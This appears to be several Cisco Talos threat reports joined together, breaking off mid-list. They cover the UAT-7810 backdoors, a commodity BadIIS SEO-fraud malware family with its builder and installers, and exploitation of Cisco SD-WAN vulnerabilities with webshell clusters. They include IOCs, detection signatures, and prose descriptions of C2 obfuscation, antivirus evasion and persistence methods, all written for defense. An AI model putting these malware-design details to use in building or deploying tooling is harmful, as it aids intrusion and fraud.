LONGLEASH also has the capability to act as an intermediate C2 server. It can obtain commands and data from the original C2 and forward to its peers.

DOGLEASH: The passive backdoor

Talos also discovered a previously unknown backdoor, developed and operated by UAT-7810, that we track as DOGLEASH. After compromising a networking device, UAT-7810 deploys a shell script that:

1. Downloads DOGLEASH.
2. Adds iptables rules to allow TCP traffic to a specific port, on which DOGLEASH binds and listens.
3. Executes DOGLEASH on the device.

DOGLEASH will bind and listen for an incoming request on a local hardcoded port. Any TCP data received is then decoded using a hardcoded password string. Based on the command code and accompanying data received, it creates a new thread in the process and carries out a specific action:

JARLEASH: The JAVA-based administrator

JARLEASH is a JAR-based backdoor that UAT-7810 deploys on their own infrastructure, as well as on compromised systems with JAVA available, to enable easy access to the system. JARLEASH is accompanied by a startup script that first kills any active instances of JARLEASH on the system, and then spawns the JAVA container to deploy JARLEASH.

JARLEASH can either use an external configuration file or default to an embedded configuration. The configuration file contains comments in Simplified Chinese, indicating that the operators were Chinese-speaking individuals.

The backdoor has the following capabilities:

• Host a web-based file management interface
• FTP and SFTP servers
• Run a netcat server on a specified IP and port number

LEASHTEST: Testing the waters

Talos also discovered a test binary UAT-7810 developed that we track as “LEASHTEST.” This binary is not malicious as-is, but its presence on a device likely indicates a compromise. It is used to test rudimentary functionality on the MIPS platform. Internally named "iot-test", it checks to see if it can take the following actions on an Internet-of-Things (IOT) device:

• Create a thread and join it
• Bind and listen to a port to open up a TCP acceptor
• Create a child process (sub program)
• Create an async timer
• Print "Hello World!"
• Test exception handling routine

 The development and use of LEASHTEST signifies that even though they have developed LONGLEASH, a full-fledged backdoor framework, UAT-7810 is still actively testing functionality on MIPS platforms and may not be completely confident of its behavior on MIPS devices.

Coverage

SNORT® SIDs for the threats detailed here are: 66433, 66432, 66430, 66431, 301493.

ClamAV signatures for the malicious tooling associated with this cluster are:

• Unix.Backdoor.Agent-10059997-1
• Unix.Backdoor.Agent-10059998-0
• Unix.Backdoor.Agent-10059999-0
• Java.Backdoor.Agent-10060000-0
• Unix.Backdoor.Agent_mips32-10060001-0
• Unix.Backdoor.Agent_mips32r2-10060002-0
• Unix.Backdoor.Agent_armv7-10060003-0
• Unix.Backdoor.Agent_mips1-10060004-0
• Unix.Backdoor.Agent_mips32r2el-10060005-0
• Unix.Backdoor.Agent_mips32el-10060006-0

IOCs

Network indicators

194.233.92[.]26
217.15.160[.]247
217.15.164[.]147
95.182.100[.]231

http[:]//217.15.160[.]247:8088/
http[:]//217.15.160[.]247:2222/
http[:]//217.15.160[.]247:99/
http[:]//194.233.92[.]26:8088/
http[:]//194.233.92[.]26:2222/
http[:]//217.15.164[.]147:99/
http[:]//217.15.164[.]147:8088/
http[:]//217.15.164[.]147:2222/
http[:]//95.182.100[.]231:2222/

Malware indicators

LEASHTEST

1b5649b479fd625de5c8120873644b5eb669cc89cd504582c18e0ae350fd8823

LONGLEASH

755fcee1337a252203002ecfdf673a08cfadeda8d738bef2d518a08e0626aa4f

Startup script for JARLEASH

e799d72929d7ccc7f6b6109742b8cc482838303207efc989543b6e1ca6d16e9c

Configuration file for JARLEASH

3b89d183eb014e29d9d0d4e45fc2b784a7fcfcf31dd48fd3bde30f8d956383d1

JARLEASH

324d95024fc8da5c92b5a1f4825aed5a2a91c9ca8fb6aa52abb332a4c9cf4257 
bafba443170e54ef7fd431ce7f1b5e202719f3fd022e4ef70788904f574d2cdf

DOGLEASH

604b53f87d6c070bf387e80c70a6df8d272fa3fc143148d41f13e59d52ab1f13 
c92541f273eeb576d39235d0a5c6f18f2574b132a1022598edfa38065783ab98 
29c7fccc6ef8cbfe4da9a169c7c74bacaea1fb515a1fddef91ab1b1522f76e4c 
425bf771c8c9f740b1ae9803dcb4fd45af4d6a6f171fcc72fc7d511095ca82ce 
ac8eae94d27122f4751bc96d9ea52d30000b7ca37569a2291b2710824ca3396f 
dc4f25b2247cfdd6fc96848db30a178baa4419a4c854e86e315b465836102d14 
3878dd5c8eba1e5b53ab2e07e7b5482e95a3fd3e98268bcd7861318bc9902376 
9b9e0e5a1eb469b8d20dc23351e08ff5d5731e1cedce0ddee9bbd00a76217f13 
57bdab2ba4b05ec0338c06632599393d5b14227f31a43fe950ea8fdd47428715 
b8d247fd1fb85d24a17afeec3815906dfbcdc5359647910b4a153900ec999a0f 
5e225ea2648a8cba0fd94ec7fd8ce5315f5d0cc2922bafc9db3c8c41280e917c 
d5cf7315186a78ab6a7475c338bdf101bc6461930aaa7a012a02cf93f347c207 
dd0fc1a88180fde8367bec7086f99294f36b8332f12994293139ed532d2ebbac 
5c3f190571645c4641dcff2c07a4c3ab9acad06aa9607350a385729d8d6139f1 
323c3a91be60ebc3e06e942bad04899a15911cea23269e43d07829164b2ce5d4 
880425fee707e9f42e0b8d60119ed639b1ad506ea29877d126bdebce379cd229 
e5d2de8ae98579bfb940290f60e59a502b3065345aaf765456387989c0488b20 
2e0e43776e2e1a37d882a1b2ebb7d337ee88950177e43831dae645a367824feb 
b5969636eec376ad6c3ece2202b1722219955638e09b6f96d4cfc0598d3b1890 
1660536f448b8b9f086ce9ea3ce4e9deefc59a76711ea53ee6d8f08fc8c1bb99 
65feba2c971c214e71303ad2e0fbf62b45ebcaa784cbf3d0dab62786cb4c0469 
53ac2b231c23d41234e55b1f7ed89f86234f785adbbe820959655d7b019d7df9 
33c10b77e1da9f0679023d55fb3057879d15609db9c1d46ee5c3ff1240a3d052 
5faea1650cac0f3ffd2dc1fb220182095a46e34158967d37c2a942e85e2ca97b 
62d4ec87ed21f0d15cb769b0b2a5577cab41fc2cdb1e7e796c5bdff09264dd9a 
534a4a5bff2609a2d6e088cb87465c08c2d69c6aaa7d2ffcbcd491274b8505f1 
5eab4c61baa67ae2838a36c2e6ff0476a8f2117b96a7027b830c8cb46ce78efc 
0af4c52a1d13e4132a1843ce7727abcf0ddd4d1ca6a4b17cdf599ec3f355c241 
d4861088161fc72b9922abf933b4ea664a807105ec1eab4a173253aa60bfe6d7 
3d296af7f29c0425655bd1cc0be48fe4aba52ee6760a89e805ca2589f4ef4d77 
f235d2e044c2f7814e6bbcd835b9fd9f10f227dacfb9396185ec2013e7df4db4 
4130f49fa81a699a667cafdbd6d1f6e781edd686c947eb8ae27134f6dc2c43d7 
0a8555a71868749be8c905ed53296ce335af50a9262772b5e154ad3f9c35c2e4 
5dbfa033676b5caacfae902734ce462cd871181eefbe299250ca8ac7e139719e 
20fcba222f74dd68aaeb1f0ad30cdf702a828ee164a182b30d05d600c35b72d9 
912adea5339c73cb4a777a3e9f98bf3cb08da6622c9dd3b4cc9b083cb03d10a2 
03926e3da998f32ad898b640bd15cf145768f9e849e6f18d81350234254c424e 
16971f9706d70ac4925651c7c8719b9d77aff63e4c0a618129efc32c2c46b989 
6917c0f9eafefe42e33e791b75a7e503ff8b081bc10a98449e4076787dfc6c16 
c7c9bfa9ffcd8fb6a2afe656f510c406ddc58ebff48ce1d0fd3fad951b46a36e 
b9fe48bda9a6c8787981a24f8bbc723a6f6aa80cab5fa53481937382f3c6ce85 
f3fbf4481f30fd840f35568746f54be49eb92b2c9ac95597a7760abb171cb54b 
6366d59b573d50fd23ff650923c4a8c1c918518a02d0a56f12c23533c45f439d 
3fcaa3038e365b6ab0b121e2cd319c56b74e37381943a0da0e8dce407087cdb8 
bf70c6f3a8e913f526ec57eeec50e1306f7b34b037915b7a1cf2968cc46acc58 
0352f3e338261d98895df4c7b7a76b296485b2290c72bce56603351d167d0601 
52b871429833e1dee348263844efb531f6a3fcd321f88dc8a876caaee912cedd 
5db2ce9acd50f96d566e8d139f6490abf2bbf7a9293b876eeb4598fd2c37c515 
3169a6dbcce684e2c5a2f166996b58ffa673df6e58b8edf2bdf3e66271c8c69e 
d871d76171504597bbda387689e12e7a5e354c360ff135f4df231cec68c761af 
d1f963b88672f3676a7da1580262ba0d4f367cc57a94b551754c20f77a670c43 
76d9e2a2ff313f5b91cc67aab1127122baee1c3efbae1087e58a25bc5f1eb065 
8c104da0e66ef6384663309aaf8fb49f549f2785d835eec620b265f8aa11d9f0 
c494c878e28284539419612616d964ab9224cbe27e57f42293d91d02d684e3db 
08701ed7975bf4f5688c2724d27ab497764200ad6f4dc53d3cc03b170378ced0 
604b53f87d6c070bf387e80c70a6df8d272fa3fc143148d41f13e59d52ab1f13 
0a8cae96e25e85c612b0736fe886f9b124ad70ec425bc2ec1a8a4135b25436ba 
8459ff264a2c81c68a34c4ee6bc109d141ad28b96037d34ff112322a4c853739 
68445a37a9943a267a8b2100fba2678353d6ec88844505ccbba659e586c7a105 
29686c933cec1e274467e2dae264625ae6f754824bb7f550bc9c3131f625562c 
d973ad5a80c3d7468a9c392db4166857ed32b5d61cd6755766ba8922156dada3 
f5a57dfae488d9dfe260b32460a1d947fb5af58ceaf2fb0139bc08b4bb79a966 
2ebc1b6cf543e2cb3f22d9a5b54b6676bb71dde98df7532f8791297734e44fdd 
6dbd507ca7cecea861f9cf704b3c5c37f5bd5392886a8c2562088892b7703fa5 
89f0a67bc595ab8bce02c2f95f9292ad06e1868207e809c76bd16f0cab800c06 
d81201d0fc19977e51104438a5b9cba861f4da20cea3ae9183edf16ab11d98f8 
9d52cb4febf3342c34dcc8198dcaf453458be3699ab47dc08616aa7f18daa7fa 
9a927c37a31b80975c5c5467f112b61478c9493c046281046443525358a5acb0 
6cda1e81667f869940401f05a55c8dea94dbdf3ceffb93b5f320a6462cfea44d 
745538dea8ed9aec4466e67a9d0aecf9e7026ff16a792d1d6f306e8b67d3f34c 
13acadb3541e75af50e02d5be56c2238b93d8f154ce5514be1558e6ee59a1432

• Cisco Talos has uncovered a BadIIS variant — identifiable by its embedded "demo.pdb" strings — that functions as commodity malware. This variant is likely sold or shared among multiple Chinese-speaking cybercrime groups that operate under a malware-as-a-service (MaaS) model for continuous monetization. 
• Analysis of program database (PDB) file paths reveals a sustained, multi-year development effort by an author operating under the alias “lwxat”, spanning from at least September 2021 through January 2026, with evidence of rapid iterative updates, feature branching, and reactive evasion tactics targeting specific security vendors such as Norton.
• Talos recovered a dedicated builder tool that allows threat actors to generate configuration files, customize payloads, and inject parameters into BadIIS binaries — enabling capabilities including traffic redirection to illicit sites, reverse proxying for search engine crawler manipulation, content hijacking, and backlink injection for malicious search engine optimization (SEO) fraud. 
• Beyond BadIIS, the same author has developed a suite of auxiliary tools — including service-based installers, droppers, and persistence mechanisms that automate deployment, ensure survivability across IIS server restarts, and evade detection through custom Base64 encoding and obfuscation techniques.

Mystery BadIIS containing “demo.pdb” 

Since 2024, Talos has investigated numerous attacks across the Asia-Pacific region (along with a few in South Africa, Europe and North America) that utilize a specific variant of BadIIS characterized by "demo.pdb" strings. While multiple security vendors are tracking the global spread of these variants, Talos' observed tactics, techniques, and procedures (TTPs) show notable divergences from those documented by other vendors like Trend Micro, Ahnlab, VNPT, and Elastic. Consequently, it is difficult to attribute these attacks to a single threat actor. However, we assess with moderate confidence that the "demo.pdb" BadIIS variant is a commodity tool utilized by multiple Chinese-speaking cybercrime groups. 

Insights from embedded PDB strings 

Although the core functionality of this BadIIS variant is largely limited to SEO fraud, content injection, and proxy‑based traffic manipulation, our investigation pivoted toward the malware’s embedded PDB strings. The consistent PDB path pattern offers much more intelligence value than the generic “demo.pdb” filename. The combination of a stable “Administrator\Desktop” build environment, Chinese-language folder names, and date-based versioning creates a highly reliable fingerprint for tracking and clustering this BadIIS version toolset. Beyond reinforcing our assessment that this is a commodity IIS malware family, the PDB paths enabled attribution to a possible customer name alias “x神” (“xshen”). Furthermore, the PDB artifacts reveal the existence of customized builds, some explicitly tailored to:

• Bypass specific antivirus products, such as Norton 
• Perform site‑wide hijacking 
• Redirect users conditionally based on browser language or environment

Prompted by these initial discoveries, Talos expanded our threat hunting efforts to identify similar PDB strings associated with this author with high confidence. The PDB paths extracted from these BadIIS variants reveal a sustained, multi-year development effort spanning from at least September 2021 to January 2026. By analyzing the developer's folder naming conventions, we can accurately map the malware's evolutionary trajectory, feature branching, and commercialization model.

Timeline and iterative maintenance 

Talos observed that the earliest explicit timestamp in the PDB paths is Sept. 30, 2021, indicating that the development of this specific toolset began on or before this date. The naming conventions observed in folders such as “dll0217”, “dll0301”, and “dll0315” (likely representing February 17, March 1, and March 15) demonstrate periods of rapid, sprint-like updates. Additionally, the “dll-no503” directory is particularly notable; it likely represents a troubleshooting build designed to resolve an issue where the malware caused IIS to throw "503 Service Unavailable" errors, which would otherwise alert server administrators to the infection. Finally, the latest observed compilation date, “dll20260106” (Jan. 6, 2026), confirms that this toolset remains actively maintained and deployed in the wild as of early 2026.

Feature branching and evasion tactics 

Talos also observed that the folder “兼容百度浏览器+劫持robots.txt” (“Compatible with Baidu browser + hijacking robots.txt”) explicitly confirms the malware's role in malicious SEO campaigns, specifically targeting the Chinese search engine ecosystem. Furthermore, the “2024-05-05-tcp" branch indicates a shift or enhancement in how the malware handles network traffic, potentially introducing custom proxying or SEO fraud communication protocols over raw TCP. Additionally, the inclusion of “过诺顿” (”bypass Norton”) in the build paths highlights a reactive development cycle, demonstrating that the author actively modifies the code to evade specific security vendor detections.

Below are the PDB strings Talos collected:

• C:\Users\Administrator\Desktop\2021-09-30\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\iis\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0217\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0217\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0301\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0301\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0315\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll0315\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll-no503\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll-no503\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\兼容百度浏览器+劫持robots.txt\x64\Release\demo.pdb  
  (translation: “compatible with Baidu browser + hijacking robots.txt”) 
• C:\Users\Administrator\Desktop\2023-10-10\dll\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2023-10-10\dll\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2023-11-02\dll\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2023-11-02\dll\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2024-05-05-tcp\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2024-05-05-tcp\Release\demo.pdb 
• C:\Users\Administrator\Desktop\J3\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll(cur)\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll(cur)\x64\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2024-05-05-tcp(过诺顿)xshen\Release\demo.pdb  
  (translation: “bypass Norton”) 
• C:\Users\Administrator\Desktop\2024-05-05-tcp(过诺顿)xshen\x64\Release\demo.pdb  
  (translation: “bypass Norton”) 
• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\Release\demo.pdb  
  (translation: “xshen custom site hijacking: redirect based on browser language)” 
• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\x64\Release\demo.pdb  
  (translation: “xshen custom site hijacking: redirect based on browser language”) 
• C:\Users\Administrator\Desktop\dll20260106\Release\demo.pdb 
• C:\Users\Administrator\Desktop\dll20260106\x64\Release\demo.pdb

Builder architecture and BadIIS generation 

During our research into these BadIIS campaigns, Talos discovered a builder tool specifically designed for this malware variant. The threat actor utilizes this utility to generate configuration files, JavaScript redirectors, and PHP backlink scripts, as well as to inject custom parameters directly into the BadIIS malware. Figure 3 shows a screenshot of the builder's interface.

The observed builder is labeled as “version 1.0,” with an estimated original release year of 2021. However, the application header and compilation timestamp indicate that this specific artifact is an updated build compiled on August 22, 2022. The interface fields and configurable settings perfectly align with known BadIIS capabilities, which can be categorized into four primary functions: 

• Traffic redirection: The builder allows threat actors to input target URLs, typically JavaScript-based redirectors, designed to be injected into the victim's browser. This feature forcibly redirects legitimate user traffic to spam infrastructure, such as illegal gambling, adult content, or other malicious websites. 
• Reverse proxy: This feature manipulates how the compromised server interacts with search engine crawlers. When a crawler visits specific hidden URLs, the BadIIS malware acts as a reverse proxy, silently fetching illicit content from the threat actor's command-and-control (C2) backend and serving it to the crawler for indexing. Furthermore, the builder includes a toggle to enable this reverse proxy behavior globally, intercepting crawlers even if they do not visit the designated hidden URLs.
• Content hijacking: The builder includes a site hijacking function capable of replacing the compromised website's original content for both normal users and search engine crawlers. Threat actors can configure the hijacking rate (percentage of traffic affected), toggle whether the homepage is explicitly targeted, and supply a remote URL to dynamically fetch malicious title, description, and keyword (TDK) metadata. 
• Internal and backlinks setting: The final component configures the injection of internal links and external backlinks. Internal links force search engines to discover and index the spam pages hosted directly on the compromised server. Meanwhile, external backlinks siphon the compromised server's Domain Authority, passing that high reputation onto external illicit websites to artificially inflate their search engine rankings.

Furthermore, operating this builder is not a simple, single-click process. Prior to generating the final payloads, the threat actor must stage unconfigured 32-bit and 64-bit BadIIS binaries within the same directory as the builder. Upon initiating the build process, the builder generates a “config.txt” file based on the threat actor’s configured parameters.

It then attempts to authenticate with the C2 server by checking for the specific response string "lwxat". Although the builder does not enforce this validation step — continuing the payload generation process regardless of whether the authentication succeeds or fails — this specific network behavior is highly valuable. Notably, this unique authentication mechanism serves as a critical pivot point, enabling us to identify and attribute other tools developed by the same author.

The final step of the build process involves obfuscating the C2 server address using a single-byte XOR operation with the key 0x3. Once encoded, the builder embeds these addresses, along with all other configured parameters, directly into the final BadIIS malware under the output folder. This configured and output files are illustrated in Figure 7.

Advancement of the builder architecture 

Talos has been tracking multiple cybercrime groups, including those detailed in our previous reports on DragonRank and UAT-8099, that utilize various BadIIS variants to turn global web servers into compromised assets for search engine manipulation. The BadIIS variants deployed by those two groups primarily relied on hardcoded C2 infrastructure and statically compiled payloads to spread. However, the variant characterized by the "demo.pdb" strings represents a significant departure from these previous iterations.

Based on the recovered builder and PDB strings, Talos assesses with moderate confidence that this "demo.pdb" variant is commodity malware, likely sold privately or shared within underground markets. The architecture of this toolset suggests a modular, MaaS business model designed for continuous monetization. The malware developer can initially sell a basic version of BadIIS alongside the builder tool. If a threat actor later requiresan advanced, updated, or customized version (such as the “Norton bypass” or “custom site hijacking: redirect based on browser language” modules), they can request a bespoke payload from the developer and use their existing builder to inject the necessary configurations. Figure 9 shows the workflow Talos assessed.

Additional tools developed by same author 

By pivoting on the previously identified PDB strings and the authentication mechanism, Talos discovered that this author has developed a suite of additional tools designed to facilitate the installation of BadIIS on target machines. The observed PDB strings are listed below, followed by a detailed analysis of the differences between these tools and their respective capabilities.

• D:\vc\dll封装进exe\x64\Release\moduleinit.pdb  
  (translation: “DLL packaged into EXE”) 
• C:\Users\Administrator\Desktop\2024-05-28\install\x64\Release\install.pdb 
• C:\Users\Administrator\Desktop\install\x64\Release\install.pdb 
• C:\vc\service\Release\service.pdb 
• C:\vc\service\x64\Release\service.pdb 
• C:\Users\Administrator\Desktop\service\Release\service.pdb 
• C:\Users\Administrator\Desktop\bao\svchost\x64\Release\service.pdb 
• C:\Users\Administrator\Desktop\2024-05-26\svchost\x64\Release\service.pdb 
• C:\Users\Administrator\Desktop\x神的自安装服务\svchost\x64\Release\service.pdb
  (translation: “xshen self-installation service”)

Early service‑based installer 

Talos identified an additional tool that we assess with high confidence is linked to the same author. Upon execution, the tool verifies that it is running as a Windows service named “Winlogin.” If this condition is met, it initiates a two-stage C2 communication process. First, it connects to a primary C2 server for authentication. During this phase, the malware validates the connection by checking if the server's response matches the specific string "lwxat".

Once authenticated, it connects to a secondary C2 server to download and execute additional malicious payloads on the target machine. Furthermore, the malware uses double Base64 encoding to obfuscate the addresses of both C2 servers.

Configuration‑driven service installer 

Talos observed another service-based tool that dynamically locates and reads an external configuration file to deploy BadIIS onto target machines. This component serves the same operational purpose as the installation batch scripts traditionally observed in earlier BadIIS campaigns. Upon execution, the malware identifies its own absolute path and searches its current directory for a file named “config.txt”. This configuration file uses an XML-like syntax, employing custom tags such as “<globalModules>”, “<name>”, “<path>”, and “<cmd>”. The tool employs a custom parsing routine to segment the file based on these tags, extracting string arrays that dictate its subsequent actions. Using this extracted data, the malware dynamically assembles command-line instructions by iterating through the parsed modules and replacing placeholders like “{name}” and “{path}” with randomized DLL paths and command snippets.

During this assembly phase, the tool specifically prepares commands for both 32-bit and 64-bit BadIIS (e.g., appending “32.dll” /y and “64.dll” /y). These fully-formed commands are then executed, likely via cmd.exe /c, using a function designed to capture the command output.

Authentication and configuration‑driven unified tool 

The threat actor continues to update this tool, recently merging two distinct capabilities into a single binary. The malware still impersonates the Winlogin system service for registration and persistence, but it now utilizes a higher volume of command-line executions to successfully install the BadIIS payload. Notably, these command lines closely resemble the syntax used in earlier BadIIS batch scripts. To evade detection by security products, the tool obfuscates its command lines and parameters using a custom Base64 encoding algorithm. A list of the encoded strings and their decoded counterparts is provided below.

Based on the decoded strings and the tool's code structure, we can categorize the functionality of this upgraded tool into three primary areas. The first group of strings focuses on file discovery, searching for “module.txt”, “.dll”, and “.config” files. The “.config” and “.dll” searches serve the same purpose as in previous versions, targeting IIS configuration files and the BadIIS malware, respectively. The “module.txt” file likely acts as a staging file to temporarily store the IIS modules list before committing changes to the active configuration. Furthermore, this phase targets the “<globalModules>” and “<modules>” sections to register the malicious DLL at the server level. The second group handles payload registration; the tool utilizes specific XML nodes to inject its payloads into the IIS configuration, dynamically replacing placeholders (e.g., “{name32}” and “{path64}”) with actual values. Finally, the third group is responsible for locating the primary BadIIS DLL and establishing its backup location to ensure persistence. However, prior to executing its primary functions, the tool sends a request to the C2 server for authentication. The validation process remains identical to previous versions; the tool verifies the connection by checking if the server's response matches the specific string "lwxat".

Latest two‑stage installation toolset 

Talos observed that the latest version of the service installation tool is now separated into two distinct files. The workflow is shown in Figure 15.

The first file acts as the primary installer and begins by authenticating with the C2 server. Following successful authentication, it searches for the BadIIS malware, copies the payloads to specific primary and backup directories, and registers them within the IIS server module list to ensure persistence. Subsequently, it drops a secondary malware component, installing it as a Windows service. During our research, Talos observed this secondary malware impersonating legitimate services such as FaxService or AudiosService. Additionally, we recovered customization parameters and execution logs associated with this installer, which provided deeper insights into its overall capabilities.

The commands and parameters embedded in the install are also encoded. Below is a list of the encoded strings and their decoded counterparts.

The secondary malware component functions similarly to the previously described service tool. However, recognizing that security operations centers (SOCs) or antivirus products can easily quarantine or delete the primary BadIIS malware, the author has implemented a robust persistence mechanism. The installer now copies the BadIIS malware not only to the active directory used for hooking IIS requests and responses but also to a hidden backup location. This ensures that the malicious BadIIS is automatically restored and launched every time the compromised IIS server is restarted. The table below provides a list of the encoded strings and their decoded counterparts.

Module initialization dropper 

Alongside the service-based tools, Talos identified another utility that shares the same C2 authentication mechanism, custom Base64 encoding algorithm, and similar code structure. However, rather than operating as a persistent service, this tool functions primarily as a dropper designed to install the BadIIS malware onto the target IIS server. The embedded PDB string (“D:\vc\dll封装进exe\x64\Release\moduleinit.pdb”, which translates to "DLL packaged into EXE") explicitly confirms its purpose: packaging malicious DLL payloads within a standalone executable. The BadIIS are found in the resource and named as “IIS32” and “IIS64” (see Figure 17).

The drop location for this BadIIS malware is identical to the one used by the installation script previously documented by Trend Micro.

"lwxat": BadIIS author identification 

Through detailed analysis of numerous BadIIS samples, associated tools, and builder artifacts, Talos assesses with moderate-to-high confidence that the string "lwxat" is the author's alias or handle. This assessment is based on the following converging evidence: 

• Builder authentication mechanism: The BadIIS builder and service tool uses the string "lwxat" as a hardcoded match string within its authentication routine, suggesting the author embedded their identity into the tool's access control logic. 
• Configuration parameter: The string "lwxat" is used as the enable function parameter within the builder's “config.txt” file, further indicating authorship attribution embedded in the tool's operational configuration. 
• User-agent signature: Most notably, several BadIIS malware samples were observed using "lwxatisme" as a custom user-agent string during HTTP communications — a strong behavioral indicator that directly ties the malware to the "lwxat" persona.

Additionally, corroborating evidence was identified through PDB path strings found within certain samples. One PDB path contained the Chinese-language string:

This suggests that the author created a dedicated development folder for a user or client named "xshen" (x神), indicating that this particular BadIIS variant was a customized build tailored specifically for “xshen's”requirements that a full-site traffic hijacking with redirection logic based on the victim's browser language settings.

Collectively, these findings presence of "lwxat" across the builder's authentication, configuration, and in-the-wild user-agent strings, combined with the PDB path referencing a customized build for “xshen” and provide converging evidence indicating that "lwxat" is the primary developer or operator behind the BadIIS malware family, potentially offering customization services to other threat actors. 

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Malware.BadIIS-10059971-0 
• Win.Malware.BadIIS-10059977-0 
• Win.Malware.BadIIS-10059984-0 
• Win.Malware.BadIIS-10059985-0

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66400, 1:66399, 1:66398 
• Snort3: 1:66400, 1:301491 

Indicators of compromise (IOCs) 

The IOCs can also be found in our GitHub repository here.

• Cisco Talos is tracking the active exploitation of CVE-2026-20182, an authentication bypass vulnerability in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage.
• Successful exploitation of CVE-2026-20182 allows an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.
• The exploitation of CVE-2026-20182 appears to have been limited so far and Talos clusters this activity under UAT-8616 with high confidence.
• Talos is also aware of a series of threat actors, distinct from UAT-8616, that have been observed to be exploiting a different, previously disclosed set of vulnerabilities, in a new way than previously identified, beginning March 2026 - specifically CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122. It is important to note that those vulnerabilities are distinct from and pre-date CVE-2026-20182. Cisco released software updates and a security advisory addressing those vulnerabilities in February 2026, strongly recommending customers to upgrade.
• We have identified multiple clusters of post-compromise activity, beginning March 2026, associated with the exploitation of CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 that deployed webshells and other malicious tooling, described in this post.
• We observed the vast majority of this exploitation involved the use of ZeroZenX labs’ proof-of-concept and accompanying JSP-based webshell which we track as “XenShell.”

UAT-8616 in-the-wild (ITW) exploitation of CVE-2026-20182

Talos is aware of the active, in-the-wild (ITW) exploitation of CVE-2026-20182 in Cisco Catalyst SD-WAN Controller and Manager, that allows log in to the affected system as an internal, high-privileged, non-root user account. Talos clusters the exploitation of this vulnerability and subsequent post-compromise activity under UAT-8616, whom we assess is a highly sophisticated cyber threat actor. UAT-8616 previously exploited a similar vulnerability in Cisco Catalyst SD-WAN Controller, CVE-2026-20127 to gain unauthorized access to SD-WAN systems.

UAT-8616 performed similar post-compromise actions after successfully exploiting CVE-2026-20182, as was observed in the exploitation of CVE-2026-20127 by the same threat actor. UAT-8616 attempted to add SSH keys, modify NETCONF configurations, and escalate to root privileges. Our findings indicate that the infrastructure used by UAT-8616 to carry out exploitation and post-compromise activities also overlaps with the Operational Relay Box (ORB) networks that Talos monitors closely.

Customers are strongly advised to follow the guidance and recommendations published in Cisco's Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request.  Please refer to the Recommendations and Detection Guidance section for additional coverage information. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.

In-the-wild (ITW) exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128

Talos is also aware of the widespread in-the-wild active exploitation of three vulnerabilities in unpatched Cisco Catalyst SD-WAN Manager infrastructure (CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122) that, when chained together, can allow a remote unauthenticated attacker to gain access to the device. Cisco released software updates and a security advisory addressing these vulnerabilities in February 2026. Following the public release of proof-of-concept code exploiting these vulnerabilities by ZeroZenX Labs in March, we observed the exploitation of the unpatched systems from March to April 2026.

Talos has observed several other threat clusters, separate from UAT-8616, leveraging publicly available proof-of-concept exploit code to deploy webshells to affected systems. Following successful exploitation, the webshells would allow the attacker to execute bash commands on the affected system.

The vast majority of observed exploitation attempts involved the use of the ZeroZenX Labs proof-of-concept code and accompanying JavaServer Pages (JSP) shell, which we are calling “XenShell.” However, we observed several other JSP-based webshell variants, which are outlined below.

Note: The CVE referenced in the ZeroZenX Labs proof-of-concept is incorrectly attributed to CVE-2026-20127. Talos’ analysis indicates that the targeted CVEs in the proof-of-concept are in-fact CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122.

So far, Talos has observed the following clusters of malicious activity being conducted post successful exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128: Cluster #1 to Cluster #10.

Cluster 1

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 6, 2026. Following the exploitation of these CVEs, the threat actor deployed a variant of the Godzilla web shell under the filename “20251117022131.jsp”. This variant is associated with a publicly available GitHub project.

The following IPs were used to carry out the exploit and subsequently interact with the shell:

• 38.181.52[.]89
• 89.125.244[.]33
• 89.125.244[.]51

Cluster 2

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 10, 2026. Following their exploitation, the threat actor deployed a variant of the Behinder webshell under the filename “conf.jsp”. This variant has been modified to only use Base64 for encoding, as opposed to AES encryption commonly observed in other variants.

The IP “71.80.85[.]135” was used to carry out the exploit and interact with the shell.

Cluster 3

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 4, 2026. Following successful exploitation, the threat actor deployed XenShell under the name “sysv.jsp”, before returning hours later to deploy a variant of the Behinder webshell under the filename “sysinit.jsp”.

The IP “212.83.162[.]37” was used to carry out the exploit and interact with the shell.

Cluster 4

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 3, 2026. Following successful exploitation, the threat actor deployed a variant of the Godzilla webshell under the filename “vmurnp_ikp.jsp”.

The following IPs are attributed to this cluster:

